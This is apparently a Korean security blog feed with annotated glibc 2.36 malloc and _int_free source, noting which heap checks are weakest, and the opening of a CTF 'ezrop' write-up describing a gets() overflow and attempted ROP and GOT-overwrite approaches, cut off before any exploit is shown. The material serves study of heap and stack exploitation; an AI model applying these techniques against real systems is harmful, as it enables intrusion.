    const size_t bytes = sizeof (tcache_perthread_struct);

    if (tcache_shutting_down)
      return;

    arena_get (ar_ptr, bytes);
    victim = _int_malloc (ar_ptr, bytes);
    if (!victim &amp;&amp; ar_ptr != NULL)
      {
        ar_ptr = arena_get_retry (ar_ptr, bytes);
        victim = _int_malloc (ar_ptr, bytes);
      }

    if (ar_ptr != NULL)
      __libc_lock_unlock (ar_ptr-&gt;mutex);

    /* In a low memory situation, we may not be able to allocate memory
       - in which case, we just keep trying later.  However, we
       typically do this very early, so either there is sufficient
       memory, or there isn&#39;t enough memory to do non-trivial
       allocations anyway.  */
    if (victim)
      {
        tcache = (tcache_perthread_struct *) victim;
        memset (tcache, 0, sizeof (tcache_perthread_struct));
      }

  }</code></pre>
</li>
</ul>
<p>그리고 아래의 세 가지 조건을 만족하면 tcache_get함수를 실행시켜 해당 idx에 해당하는 tcache 청크를 재 할당한다.</p>
<ol>
<li>아까 tc_idx에 저장한 인덱스의 값이 mp_.tcache_bins, 즉 <code>TCACHE_MAX_BINS</code> 의 값보다 작다면(tcache 내에서 유효한 인덱스라면)</li>
<li>tache가 널이 아니라면</li>
<li>tcache-&gt;counts[tc_idx]가 0보다 크다면 (해당 idx에 해당하는 freed tcache 청크가 tcache bin에 이미 존재한다면)</li>
</ol>
<p>또한, 청크를 재할당하기 위한 매커니즘은 다음과 같다.</p>
<p>victim = tcache_get (tc_idx); ⇒ 해당 idx에 해당하는 tcache list의 청크 주소를 반환함 + tcache_perthread_struct의 해당 idx의 count를 1 줄이고 반환한(재할당할)청크의 key값을 널로 바꿈.</p>
<ul>
<li><p>함수 내부 상세</p>
<pre><code class="language-c">  tcache_get (size_t tc_idx)
  {
    return tcache_get_n (tc_idx, &amp; tcache-&gt;entries[tc_idx]);
  }

  tcache_get_n (size_t tc_idx, tcache_entry **ep)
  {
    tcache_entry *e;
    if (ep == &amp;(tcache-&gt;entries[tc_idx]))
      e = *ep;
    else
      e = REVEAL_PTR (*ep);

    if (__glibc_unlikely (!aligned_OK (e)))
      malloc_printerr (&quot;malloc(): unaligned tcache chunk detected&quot;);

    if (ep == &amp;(tcache-&gt;entries[tc_idx]))  
        *ep = REVEAL_PTR (e-&gt;next);
    else
      *ep = PROTECT_PTR (ep, REVEAL_PTR (e-&gt;next));

    --(tcache-&gt;counts[tc_idx]);
    e-&gt;key = 0;
    return (void *) e;
  }

  tag_new_usable (void *ptr)
  {
    if (__glibc_unlikely (mtag_enabled) &amp;&amp; ptr)
      {
        mchunkptr cp = mem2chunk(ptr);
        ptr = __libc_mtag_tag_region (__libc_mtag_new_tag (ptr), memsize (cp));
      }
    return ptr;
  }</code></pre>
</li>
</ul>
<p>만약 여기서 tcache의 재할당이 이루어진다면, __libc_malloc은 여기서 victim을 return하며 아예 종료되어버린다. </p>
<p>만약 이루어지지 않는다면 함수는 계속 진행된다.</p>
<h2 id="part-3">PART 3</h2>
<pre><code class="language-c">if (SINGLE_THREAD_P)
    {
      victim = tag_new_usable (_int_malloc (&amp;main_arena, bytes));
      assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
          &amp;main_arena == arena_for_chunk (mem2chunk (victim)));
      return victim;
    }
</code></pre>
<p>tcache의 재할당이 이루어지지 않았을 때 실행되는 부분들이다. </p>
<p>해당 if문 내부는 단일 스레드일 때 실행된다. (SINGLE_THREAD_P)</p>
<p>그리고 main_arena의 주소와 bytes를 인자로 _int_malloc을 호출하고 반환 값을 victim에 넣는다.(실질적인 동적 할당이 일어나는 부분)</p>
<p>다음으로 다음 조건들을 확인하고(정상적으로 할당이 되었는지 확인) victim을 반환하고, 함수를 종료한다.</p>
<ol>
<li>victim이 널이 아님</li>
<li><em><code>check for mmap()&#39;ed chunk</code></em></li>
<li>청크가 main_arena의 청크인지 확인</li>
</ol>
<p>단일 스레드인 경우 여기서 __libc_malloc이 종료된다.</p>
<h2 id="part-4">PART 4</h2>
<pre><code class="language-c"> arena_get (ar_ptr, bytes);

  victim = _int_malloc (ar_ptr, bytes);
  /* Retry with another arena only if we were able to find a usable arena
     before.  */
  if (!victim &amp;&amp; ar_ptr != NULL)
    {
      LIBC_PROBE (memory_malloc_retry, 1, bytes);
      ar_ptr = arena_get_retry (ar_ptr, bytes);
      victim = _int_malloc (ar_ptr, bytes);
    }

  if (ar_ptr != NULL)
    __libc_lock_unlock (ar_ptr-&gt;mutex);

  victim = tag_new_usable (victim);

  assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
          ar_ptr == arena_for_chunk (mem2chunk (victim)));
  return victim;</code></pre>
<p>여기서부터는 단일 스레드 상황이 아닐 때 실행되는 부분일 것이다.</p>
<p>우선 알맞은 arena의 주소를 malloc_state포인터인 ar_ptr에 저장하고, </p>
<p>_int_malloc으로 ar_ptr기반의 동적할당을 해 victim에 할당된 주소를 저장한다.</p>
<p>다음으로 victim과 ar_ptr이 널이 아닐 때(즉, 제대로 된 동적할당이 이루어졌을 때)</p>
<p>usable arena가 존재하는 경우 해당 arena에 대해 malloc을 retry한다.</p>
<p>이후 assert로 동적할당이 제대로 이루어졌는지 확인하고 </p>
<p>victim을 malloc의 반환값으로 반환하고 함수를 종료한다.</p>
<h2 id="정리">정리</h2>
<p>전반적으로 초기화 ⇒ tcache확인 ⇒ 싱글 스레드 할당 ⇒ 멀티스레드 할당 의 순서로 이루어진다.</p>
<p>만약 tcache에 재사용할 bin이 존재하지 않는 이상, 실질적으로 동적할당이 일어나는 부분은 _int_malloc인 듯 하다. 이 함수를 살펴볼 필요가 있다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Glibc분석]_int_free (2.36)]]></title>
            <link>https://velog.io/@chk_pass/Glibc%EB%B6%84%EC%84%9Dintfree-2.36</link>
            <guid>https://velog.io/@chk_pass/Glibc%EB%B6%84%EC%84%9Dintfree-2.36</guid>
            <pubDate>Tue, 20 Feb 2024 13:56:05 GMT</pubDate>
            <description><![CDATA[<p>_int_free의 내부를 살펴보자. </p>
<p>우선 함수의 형태와 맨 처음 선언된 변수들을 살펴보자.</p>
<pre><code class="language-c">static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
  INTERNAL_SIZE_T size;        /* its size */
  mfastbinptr *fb;             /* associated fastbin */
  mchunkptr nextchunk;         /* next contiguous chunk */
  INTERNAL_SIZE_T nextsize;    /* its size */
  int nextinuse;               /* true if nextchunk is used */
  INTERNAL_SIZE_T prevsize;    /* size of previous contiguous chunk */
  mchunkptr bck;               /* misc temp for linking */
  mchunkptr fwd;               /* misc temp for linking */

  size = chunksize (p);</code></pre>
<p>mstate형 av와 mchunkptr형 p를 입력받는다. _int_free를 호출하는 __libc_free함수를 살펴보면, p는 할당 해제할 청크를 가리키는 포인터이며 av는 p가 속하는 arena이다. </p>
<p>다음으로 함수 내부에서 필요한 각종 변수들을 선언하는데, 이 중 size는 해제할 청크의 크기를 가리킨다. 그 외 다른 변수들은 필요할 때 알아보도록 하자.</p>
<pre><code class="language-c">/* Little security check which won&#39;t hurt performance: the
     allocator never wrapps around at the end of the address space.
     Therefore we can exclude some size values which might appear
     here by accident or by &quot;design&quot; from some intruder.  */
  if (__builtin_expect ((uintptr_t) p &gt; (uintptr_t) -size, 0)
      || __builtin_expect (misaligned_chunk (p), 0))
    malloc_printerr (&quot;free(): invalid pointer&quot;);
  /* We know that each chunk is at least MINSIZE bytes in size or a
     multiple of MALLOC_ALIGNMENT.  */
  if (__glibc_unlikely (size &lt; MINSIZE || !aligned_OK (size)))
    malloc_printerr (&quot;free(): invalid size&quot;);

  check_inuse_chunk(av, p);</code></pre>
<p>그리고 몇 가지 사전적인 보호 절차가 이루어진다. </p>
<p>free할 청크에 대해 유효한 포인터인지, size값이 유효한 지, 제대로 된 청크인지 등을 확인한다. </p>
<pre><code class="language-c">#if USE_TCACHE
  {
    size_t tc_idx = csize2tidx (size);
    if (tcache != NULL &amp;&amp; tc_idx &lt; mp_.tcache_bins)
      {
    /* Check to see if it&#39;s already in the tcache.  */
    tcache_entry *e = (tcache_entry *) chunk2mem (p);

    /* This test succeeds on double free.  However, we don&#39;t 100%
       trust it (it also matches random payload data at a 1 in
       2^&lt;size_t&gt; chance), so verify it&#39;s not an unlikely
       coincidence before aborting.  */
    if (__glibc_unlikely (e-&gt;key == tcache_key))
      {
        tcache_entry *tmp;
        size_t cnt = 0;
        LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
        for (tmp = tcache-&gt;entries[tc_idx];
         tmp;
         tmp = REVEAL_PTR (tmp-&gt;next), ++cnt)
          {
        if (cnt &gt;= mp_.tcache_count)
          malloc_printerr (&quot;free(): too many chunks detected in tcache&quot;);
        if (__glibc_unlikely (!aligned_OK (tmp)))
          malloc_printerr (&quot;free(): unaligned chunk detected in tcache 2&quot;);
        if (tmp == e)
          malloc_printerr (&quot;free(): double free detected in tcache 2&quot;);
        /* If we get here, it was a coincidence.  We&#39;ve wasted a
           few cycles, but don&#39;t abort.  */
          }
      }

    if (tcache-&gt;counts[tc_idx] &lt; mp_.tcache_count)
      {
        tcache_put (p, tc_idx);
        return;
      }
      }
  }
#endif</code></pre>
<p>다음 부분은 tcache를 사용하는 경우에 동작하는 코드이다. </p>
<p>해제할 청크를 tcache_entry형 포인터 e로 변환해 (tcache의 청크에 해당하는 구조체) 해당 청크에 대해 double free여부를 검사한다. </p>
<p>우선 e의 key값이 tcache_key와 동일하다면 if문이 실행된다. (=각종 검사의 대상이 된다)</p>
<p>if문 내부로 들어가면 현재 free할 청크의 size에 해당하는 index의 entries 연결리스트의 가장 첫 번째 청크부터 마지막 청크까지를 반복문에 의해 모두 검사한다. </p>
<p>초기값 0에서부터 반복 시 마다 1씩 증가하는 값인 cnt를 가지고 mp_.tcache_count의 값과 비교해 청크 개수가 올바른지 확인하고 aligned_OK 매크로를 사용하여 연결리스트에 존재하는 청크의 align이 올바른지 확인한다. (주소값의 16진수 기준 마지막 자리수가 0x0인지 확인함) 그리고 tmp==e의 여부를 확인하여 free하려는 청크가 이미 tcache에 들어있는지를 확인한다. </p>
<p>모든 경우에 대해 위의 검사를 통과했다면 해당 size의 tcache에 아직 자리가 있다면 tcache_put함수에 의해 해제할 청크가 tcache에 들어가게 되고 return에 의해 _int_free가 종료된다. </p>
<p>만약 tcache가 가득찼다면 여기서 free가 이루어지지 못하고 다음 코드의 진행이 계속된다. </p>
<p>간단하게 다음 코드의 진행을 살펴보면 크게 if문, else if문, else문으로 나눌 수 있다. </p>
<p>우선 아래 코드에서 이 큰 구조에 해당하는 조건들은 볼드 처리를 해주었다.</p>
<p>간단하게 미리 언급하면 다음과 같다.</p>
<p>if ⇒ fastbin에 들어갈 수 있는 경우 </p>
<p>else if ⇒ fastbin 이외의 경우이면서 mmap에 의해 할당받지 않은 경우 </p>
<p>else ⇒ mmap에 의한 할당인 경우 (munmap으로 해제)</p>
<h3 id="1-if문">1. if문</h3>
<p>우선 가장 첫 번째 if문을 살펴보자.</p>
<pre><code class="language-c">/*
    If eligible, place chunk on a fastbin so it can be found
    and used quickly in malloc.
  */

  **if ((unsigned long)(size) &lt;= (unsigned long)(get_max_fast ())

#if TRIM_FASTBINS
      /*
    If TRIM_FASTBINS set, don&#39;t place chunks
    bordering top into fastbins
      */
      &amp;&amp; (chunk_at_offset(p, size) != av-&gt;top)
#endif
      )** {

    if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size))
              &lt;= CHUNK_HDR_SZ, 0)
    || __builtin_expect (chunksize (chunk_at_offset (p, size))
                 &gt;= av-&gt;system_mem, 0))
      {
    bool fail = true;
    /* We might not have a lock at this point and concurrent modifications
       of system_mem might result in a false positive.  Redo the test after
       getting the lock.  */
    if (!have_lock)
      {
        __libc_lock_lock (av-&gt;mutex);
        fail = (chunksize_nomask (chunk_at_offset (p, size)) &lt;= CHUNK_HDR_SZ
            || chunksize (chunk_at_offset (p, size)) &gt;= av-&gt;system_mem);
        __libc_lock_unlock (av-&gt;mutex);
      }

    if (fail)
      malloc_printerr (&quot;free(): invalid next size (fast)&quot;);
      }
</code></pre>
<p>해당 if문에서 size의 값이 fastbin의 범위에 들어가는지를 확인하고 있는 것으로 보아 이 조건문 내부에서는 fastbin에 넣는 free가 실행될 것임을 생각해볼 수 있다.</p>
<p>추가적으로 TRIM_FASTBINS가 설정되어있다면 추가적인 검증조건이 존재한다. 초기값은 0인 것 같은데 어떤 경우에 1이 되는지는 잘 모르겠다.</p>
<p>계속 살펴보자.</p>
<p><code>__builtin_expect (chunksize_nomask (chunk_at_offset (p, size)) &lt;= CHUNK_HDR_SZ, 0) || __builtin_expect (chunksize (chunk_at_offset (p, size)) &gt;= av-&gt;system_mem, 0)</code> 가 참이라면 fail은 true가 되고 fail이 true라면 &quot;free(): invalid next size (fast)&quot;가 출력되며 에러가 날 것이다. </p>
<p>따라서 이 조건문은 청크의 next size를 검증하는 것 같다. </p>
<p>좀 더 자세히 살펴보면 ||(or)로 연결되어 있는 두 조건 중 첫 번째는 해제할 청크의 다음 청크의 사이즈가 헤더의 크기, 즉 0x10보다 작지는 않은지를 검사하며 두 번째 조건은 다음 청크의 사이즈가 해제할 청크가 속하는 arena의 system_mem값보다 크지는 않은지를 검사한다. (system_mem은 해당 arena에서 시스템에 의해 할당 받은 메모리의 전체 크기를 의미한다). </p>
<p>두 조건 중 하나에 해당된다면 뭔가 잘못된 사이즈 값을 갖고 있는 것이므로 에러를 발생시키는 것임을 알 수 있고, fastbin의 경우에는 다음 청크의 size값까지 검증 대상에 들어가고 있음을 알 수 있다. 확실히 tcache보다는 뭔가 보호기법들이 빡센 느낌이다. </p>
<pre><code class="language-c">    free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);

    atomic_store_relaxed (&amp;av-&gt;have_fastchunks, true);
    unsigned int idx = fastbin_index(size);
    fb = &amp;fastbin (av, idx);

    /* Atomically link P to its fastbin: P-&gt;FD = *FB; *FB = P;  */
    mchunkptr old = *fb, old2;</code></pre>
<p>위의 조건들을 무사히 통과했다면 실행되는 부분들이다. </p>
<p>해제할 청크를 perturb_byte가 0이 아니라면  perturb_byte로 헤더를 제외한 모든 영역을 채워준다.</p>
<p>그리고 p가 속한 arena의 have_fastchunks값을 true로 바꾸어준다. malloc_state 구조체에서 fastbin chunks가 최근에 free blocks에 추가되었다면 set되는 값이다. </p>
<p>그리고 맨 처음에 <code>mfastbinptr *fb;</code> 과 같이 선언되었던 변수 fb에 현재 해제할 청크에 해당하는 idx의 fastbin리스트의 주소를 대입한다. (fastbin(av, idx)는 매크로로 av→fastbinsY[idx]와 동일하다.)</p>
<p>다음으로는 old에 *fb를 대입하는데, 이 과정에서는 mchunkptr형 변수 old가 현재 다루고 있는 fastbin리스트에 가장 마지막으로 들어간 청크를 가리키게 될 것이다. </p>
<pre><code class="language-c">
if (SINGLE_THREAD_P)
      {
    /* Check that the top of the bin is not the record we are going to
       add (i.e., double free).  */
    if (__builtin_expect (old == p, 0))
      malloc_printerr (&quot;double free or corruption (fasttop)&quot;);
    p-&gt;fd = PROTECT_PTR (&amp;p-&gt;fd, old);
    *fb = p;
      }
    else
      do
    {
      /* Check that the top of the bin is not the record we are going to
         add (i.e., double free).  */
      if (__builtin_expect (old == p, 0))
        malloc_printerr (&quot;double free or corruption (fasttop)&quot;);
      old2 = old;
      p-&gt;fd = PROTECT_PTR (&amp;p-&gt;fd, old);
    }
      while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2))
         != old2);
</code></pre>
<p>그리고 싱글 스레드인지의 여부에 따라 두 가지로 나뉘어 실행된다.</p>
<p>만약 싱글 스레드라면 다음과 같다.</p>
<p>우선 old==p의 여부를 확인하여 가장 최근에 fastbin에 들어간 청크와 현재 해제할 청크가 동일하다면 double free를 감지하여 오류를 발생시킨다. 이 조건문은 fastbin dup을 공부할 때 많이 보던 부분이다. 그리고 이 조건을 통과하면 p의 fd에 old의 값을 대입하고 *fb에 p를 대입한다. 즉, fastbin에 현재 free할 청크를 추가한다. </p>
<p>만약 싱글 쓰레드가 아니라면 <code>(old = catomic_compare_and_exchange_val_rel (fb, p, old2)) != old2</code> 가 참이 아닐때까지 특정 과정을 반복한다.</p>
<p>반복문 내부는 다음과 같다. </p>
<p>우선 old==p의 여부를 검사해 double free여부를 검사한 다음, p의 fd값을 old로 바꾸어준다. 여기서는 old2라는 변수가 하나 더 사용되는데 정확한 매커니즘은 잘 모르겠지만 단일 스레드가 아닌 상황에서의 fastbin 리스트에 청크를 추가하는 과정이 이루어지는 듯 하다.</p>
<pre><code class="language-c">/* Check that size of fastbin chunk at the top is the same as
       size of the chunk that we are adding.  We can dereference OLD
       only if we have the lock, otherwise it might have already been
       allocated again.  */
    if (have_lock &amp;&amp; old != NULL
    &amp;&amp; __builtin_expect (fastbin_index (chunksize (old)) != idx, 0))
      malloc_printerr (&quot;invalid fastbin entry (free)&quot;);
  }</code></pre>
<p>fastbin에 해당하는 경우의 마지막 보호기법이다.  fastbin poisoning을 공부할 때 우회해야 할 보호기법으로 많이 보던 조건과 형태가 매우 유사하다. 우선 have_lock이 0이 아니면서 old가 널이 아닐 때에 한하여 <code>__builtin_expect (fastbin_index (chunksize (old)) != idx</code> 라는 조건을 검사하게 된다. 이 조건이 의미하고 있는 바는 old의 chunksize에 해당하는 인덱스의 값이 현재 우리가 청크를 추가하고 있는 리스트의 인덱스 값과 같은지의 여부를 판단하는 것이다. 그런데 애초에 idx의 값이 할당할 청크의 size로부터 가져와지는 점, 그리고 우리가 청크를 넣을 bin이 idx값을 바탕으로 선택되는 점을 고려하면 이 보호기법에 걸리는 상황은 흔하지는 않을 듯 하다.</p>
<p>어쨌든 위 보호기법을 마지막으로 fasbin에 들어가는 경우의 free가 마무리되었다. </p>
<p>만약 fastbin에 해당하는 경우라면 여기서 free가 종료될 것이다. </p>
<h3 id="2-else-if문">2. else if문</h3>
<p>여기서 부터는 fastbin이 아닌 다른 경우+mmap으로 할당받지 않은 경우의 free가 진행될 것이다. 맨위의 주석을 보면 consolidate과정도 함께 일어나는 듯 하다. </p>
<pre><code class="language-c">/*
    Consolidate other non-mmapped chunks as they arrive.
  */

**else if (!chunk_is_mmapped(p))** {

    /* If we&#39;re single-threaded, don&#39;t lock the arena.  */
    if (SINGLE_THREAD_P)
      have_lock = true;

    if (!have_lock)
      __libc_lock_lock (av-&gt;mutex);

    nextchunk = chunk_at_offset(p, size);

    /* Lightweight tests: check whether the block is already the
       top block.  */
    if (__glibc_unlikely (p == av-&gt;top))
      malloc_printerr (&quot;double free or corruption (top)&quot;);
    /* Or whether the next chunk is beyond the boundaries of the arena.  */
    if (__builtin_expect (contiguous (av)
              &amp;&amp; (char *) nextchunk
              &gt;= ((char *) av-&gt;top + chunksize(av-&gt;top)), 0))
    malloc_printerr (&quot;double free or corruption (out)&quot;);
    /* Or whether the block is actually not marked used.  */
    if (__glibc_unlikely (!prev_inuse(nextchunk)))
      malloc_printerr (&quot;double free or corruption (!prev)&quot;);

    nextsize = chunksize(nextchunk);
    if (__builtin_expect (chunksize_nomask (nextchunk) &lt;= CHUNK_HDR_SZ, 0)
    || __builtin_expect (nextsize &gt;= av-&gt;system_mem, 0))
      malloc_printerr (&quot;free(): invalid next size (normal)&quot;);

    free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);
</code></pre>
<p>만약 싱글 스레드라면 have_lock을 true로 바꾼다. </p>
<p>그리고 have_lock의 값이 0이라면 (아마도 싱글스레드가 아니라면) 해당하는 아레나의 mutex값을 가지고 락을 건다. 잘은 모르지만 뮤텍스같은건 멀티 스레드 상황에서 레이스 컨디션을 방지하기 위한 조치로 알고 있기 때문에 뭔가 내가 알고 있는 지식들과 일맥상통하는 듯 하다. 내가 추상적으로 알고있던 지식들이 코드로 구현, 제어되고 있는 것을 보는 것 같아서 조금 흥미로웠다. </p>
<p>청크를 가리키는 포인터변수 nextchunk에 p의 바로 다음에 위치하는 청크의 주소(p의 주소+p의 size값에 해당)를 대입한다. (확실하진 않지만 병합을 위해 필요할 것 같은 느낌이다.) </p>
<p>+이건  backward병합까지 본 다음 생각난 사실인데, 한 청크 내부에서는 이전 청크의 size나 사용 여부와 같은 정보는 존재하지만 다음 청크의 정보는 담고 있지 않기 때문에 따로 next와 관련된 변수들을 선언하여 관리하는 듯 하다. 다음 청크로의 접근은 현재 청크의 주소에 size만큼의 offset을 더한 주소로 이루어진다. </p>
<p>다음으로는 세 가지 검사 과정을 거친다. 오류 메시지를 보면 double free나 corruption을 감지하는 듯 하다. </p>
<p>우선 첫 번째로는 p가 top block인지를 확인하고 두 번째로는 nextchunk가 top chunk의 베이스 주소+topchunk의 size보다 큰 지의 여부, 즉 현재 아레나에 할당된 메모리 영역 내부에 있는지를 확인한다. 마지막으로는 next_chunk의 prev_inuse flag가 set되어있는지를 확인한다. prev_inuse는 직전 청크가 사용중인지를 나타내므로 현재 free할 청크가 in-use가 아니라면 오류가 발생하게 된다. </p>
<p>그리고 nextsize라는 값에 nextchunk의 size값을 대입하고, 또 다시 검증을 거친다. </p>
<p>이번에는 nextchunk의 사이즈가 헤더의 크기 0x10보다 작지는 않은지, system_mem값보다 크지는 않은지를 검사한다. </p>
<p>여기까지만 봐도 뭔가 arena영역에서의 청크 조작은 매우 까다로울 것이라는 것을 알 수 있다. 왜 힙 익스에서 tcache가 주요 공격 대상이 되는지 이해가 된다. </p>
<pre><code class="language-c">
    /* consolidate backward */
    if (!prev_inuse(p)) {
      prevsize = prev_size (p);
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));
      if (__glibc_unlikely (chunksize(p) != prevsize))
        malloc_printerr (&quot;corrupted size vs. prev_size while consolidating&quot;);
      unlink_chunk (av, p);
    }</code></pre>
<p>이제 병합 과정이 이루어지는 듯 하다. 먼저 backward로의 병합이 이루어진다. </p>
<p>만약 p의 prev_inuse가 0이라면, 즉 p의 직전 청크가 사용중이 아니라면 이는 곧 병합의 대상이라는 의미이기 때문에 조건문 내부로 들어가서 직전 청크와 p의 병합이 이루어진다. </p>
<p>우선 size에 prevsize의 값을 더해 사이즈를 이전 청크+현재 청크로 늘려준다. </p>
<p>그리고 현재 청크의 주소를 담고 있는 p에는 이전 청크의 size만큼 값을 빼주어 p가 이전 청크를 가리키도록 만든다. </p>
<p>그리고 이전 청크의 주소로 바뀐 p가 가리키는 size값과 prevsize값의 일치 여부를 검사한다. </p>
<p>이후 unlink_chunk로 arena로부터 p를 unlink한다. </p>
<pre><code class="language-c">
    if (nextchunk != av-&gt;top) {
      /* get and clear inuse bit */
      nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

      /* consolidate forward */
      if (!nextinuse) {
    unlink_chunk (av, nextchunk);
    size += nextsize;
      } else
    clear_inuse_bit_at_offset(nextchunk, 0);
</code></pre>
<p>그리고 nextchunk가 top block에 해당되지 않는다면 nextchunk의 직후에 위치하는 청크의 prev_inuse flag값을 가져와 nextchunk가 사용중인지를 확인한다. 만약 사용중이 아니라면 nextchunk까지도 arena에서 unlink하고 size에는 nextsize값을 더해준다. </p>
<p>따라서 만약 해제하려는 청크의 앞뒤 청크가 모두 해제 상태라면 p는 직전 청크의 주소를 가리키며 size는 직전 청크+현재청크+직후청크의 사이즈값이 될 것이다. </p>
<p>만약 nextchunk가 사용중이었다면 nextchunk의 prev_inuse flag를 해제하여 이전 청크가 해제되었다는 것을 표시해준다. </p>
<pre><code class="language-c">      /*
    Place the chunk in unsorted chunk list. Chunks are
    not placed into regular bins until after they have
    been given one chance to be used in malloc.
      */

      bck = unsorted_chunks(av);
      fwd = bck-&gt;fd;
      if (__glibc_unlikely (fwd-&gt;bk != bck))
    malloc_printerr (&quot;free(): corrupted unsorted chunks&quot;);
      p-&gt;fd = fwd;
      p-&gt;bk = bck;
      if (!in_smallbin_range(size))
    {
      p-&gt;fd_nextsize = NULL;
      p-&gt;bk_nextsize = NULL;
    }
      bck-&gt;fd = p;
      fwd-&gt;bk = p;

      set_head(p, size | PREV_INUSE);
      set_foot(p, size);

      check_free_chunk(av, p);
    }</code></pre>
<p>이제 병합을 완료한 p를 unsorted bin에 넣어줄 차례인 것 같다. </p>
<p>해제된 청크는 tcache, fastbin에 들어가지 않으면 일단 무조건 unsorted bin에 들어간다고 배운 것과 동일하다. </p>
<p>arena로부터 unsorted bin의 값을 가져온다. 여기서 한 번 검증을 거치는데, fwd → bk의 값과 bck가 같지 않으면 오류가 발생하는데 매커니즘을 보면 원래 unsorted bin에서 fwd와 bck는 연결되어있던 관계이다. 그런데 fwd의 bk와 bck가 같지 않다면 청크의 corruption이 일어난 것이므로 오류를 발생시키는 것이다. </p>
<p>이 검증을 통과하고 나면 p의 fd값을 fwd로, p의 bk값을 bck로 만들어 p를 unsorted bin에 삽입한다. 그리고 bck의 fd값과 fwd의 bk값도 p로 바꾸어준다. </p>
<p>그리고 헤더의 size값과 다음 청크의 prev_size값을 size값이 되도록 만들어준다. </p>
<p>그리고 해제된 청크의 값들이 제대로 설정되었는지 확인해준다. </p>
<pre><code class="language-c">/*
      If the chunk borders the current high end of memory,
      consolidate into top
    */

    else {
      size += nextsize;
      set_head(p, size | PREV_INUSE);
      av-&gt;top = p;
      check_chunk(av, p);
    }</code></pre>
<p>이는 이전 if문중 next chunk가 top chunk인지 확인하는 조건의 else문인데, nextchunk가 top chunk에 해당하는 경우이다. 이 경우에는 top chunk에 현재 청크를 병합해준다. </p>
<pre><code class="language-c">/*
      If freeing a large space, consolidate possibly-surrounding
      chunks. Then, if the total unused topmost memory exceeds trim
      threshold, ask malloc_trim to reduce top.

      Unless max_fast is 0, we don&#39;t know if there are fastbins
      bordering top, so we cannot tell for sure whether threshold
      has been reached unless fastbins are consolidated.  But we
      don&#39;t want to consolidate on each free.  As a compromise,
      consolidation is performed if FASTBIN_CONSOLIDATION_THRESHOLD
      is reached.
    */

    if ((unsigned long)(size) &gt;= FASTBIN_CONSOLIDATION_THRESHOLD) {
      if (atomic_load_relaxed (&amp;av-&gt;have_fastchunks))
    malloc_consolidate(av);

      if (av == &amp;main_arena) {
#ifndef MORECORE_CANNOT_TRIM
    if ((unsigned long)(chunksize(av-&gt;top)) &gt;=
        (unsigned long)(mp_.trim_threshold))
      systrim(mp_.top_pad, av);
#endif
      } else {
    /* Always try heap_trim(), even if the top chunk is not
       large, because the corresponding heap might go away.  */
    heap_info *heap = heap_for_ptr(top(av));

    assert(heap-&gt;ar_ptr == av);
    heap_trim(heap, mp_.top_pad);
      }
    }

    if (!have_lock)
      __libc_lock_unlock (av-&gt;mutex);
  }</code></pre>
<p>주석을 보면 fastbin의 consolidation과 관련한 부분인 것을 알 수 있다. 효율성을 위해 모든 경우에 실행하기 보다는 특정 조건을 만족하면 (threshold를 넘으면) 시행하는 것으로 보이는데, 여기선 size의 값이 <code>FASTBIN_CONSOLIDATION_THRESHOLD</code>(=0x10000) 이상일 경우, 그리고 av→have_fastchunks가 참일 경우 <code>malloc_consolidate(av);</code> 가 수행된다. </p>
<p>그리고 av가 main_arena인지 아닌지의 여부에 따라 각각 상황에 맞게 힙 영역을 trim한다. 아마 가장 top영역에서 사용되지 않는 크기가 너무 클 경우에 top을 줄이는 과정인 듯 하다. </p>
<p>그리고 lock을 해제하며 두 번째 경우에 해당하는 free가 종료된다. </p>
<h3 id="3-else문">3. else문</h3>
<pre><code class="language-c">  /*
    If the chunk was allocated via mmap, release via munmap().
  */

  **else** {
    munmap_chunk (p);
  }
}</code></pre>
<p>마지막 경우는 free할 대상이 mmap을 통해 할당받은 경우이다. 이 경우에는 주석에 나와있는대로 munmap을 통해 해제해준다. </p>
<p>&lt;결론&gt;</p>
<p>free과정은 tcache ⇒ fastbin ⇒ 그 외 ⇒ mmaped chunk의 순으로 이루어진다. 확실히 여러 검증 절차를 살펴보면 tcache ⇒ fastbin ⇒ 그 외의 순서로 보호 기법이 더 빡세진다는 것을 알 수 있다. 확실히 tcache가 뭔가 조작하기에는 가장 쉬울 것이라는 것을 충분히 느낄 수 있었다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[37C3 Potluck CTF] ezrop WU]]></title>
            <link>https://velog.io/@chk_pass/37C3-Potluck-CTF-ezrop-WU</link>
            <guid>https://velog.io/@chk_pass/37C3-Potluck-CTF-ezrop-WU</guid>
            <pubDate>Sat, 30 Dec 2023 13:53:34 GMT</pubDate>
            <description><![CDATA[<p>Potluck Ctf의 문제 중 난이도가 어려운 건 아니지만 풀이 방식이 인상적이었던 문제가 있어 WU을 적어보려 한다.
ctf 중 익스에는 실패했지만, 종료 후 디코에서 힌트를 얻어 풀었다. </p>
<pre><code>[37C3 Potluck CTF]
ezrop (pwn)
64 bit, partial Relro, NX</code></pre><p>바이너리와 libc파일이 주어졌다. 우선 IDA로 코드를 살펴보자. </p>
<p><img src="https://velog.velcdn.com/images/chk_pass/post/7325beef-0925-4aad-8da5-eaab25eec3f6/image.png" alt=""></p>
<p>메인 함수는 위와 같이 간단하게 두 함수로 이루어져 있다. 
ignore_me는 setvbuf함수들로만 이루어져 있고, 중요한 건 vuln이다. </p>
<p><img src="https://velog.velcdn.com/images/chk_pass/post/7675a012-1f55-4efc-ab9d-59b0a2e44fe8/image.png" alt="">
gets(v1)에 의해 BOF가 터진다. </p>
<p>처음에는 간단한 rop문제인 줄 알았는데 바이너리 내 가젯을 확인해보면 pop rdi가 없다. 이거 때문에 좀 많이 해멨다. </p>
<p>처음으로 생각한 방식은 rtc였다. 하지만 rtc를 위한 코드를 찾을 수도 없었다.
다음으로는 partial relro이기 때문에 gets의 인자가 rbp-0x20이므로 bof에서 rbp를 특정 함수의 got+0x20의 값으로 조작하고 다시 한번 gets를 실행시켜 got overwrite을 시도해봤지만 조작된 rbp가 코드 영역에 존재하므로 leave가 실행되면서 오류가 발생해 이 방법을 사용할 수 없었다.</p>
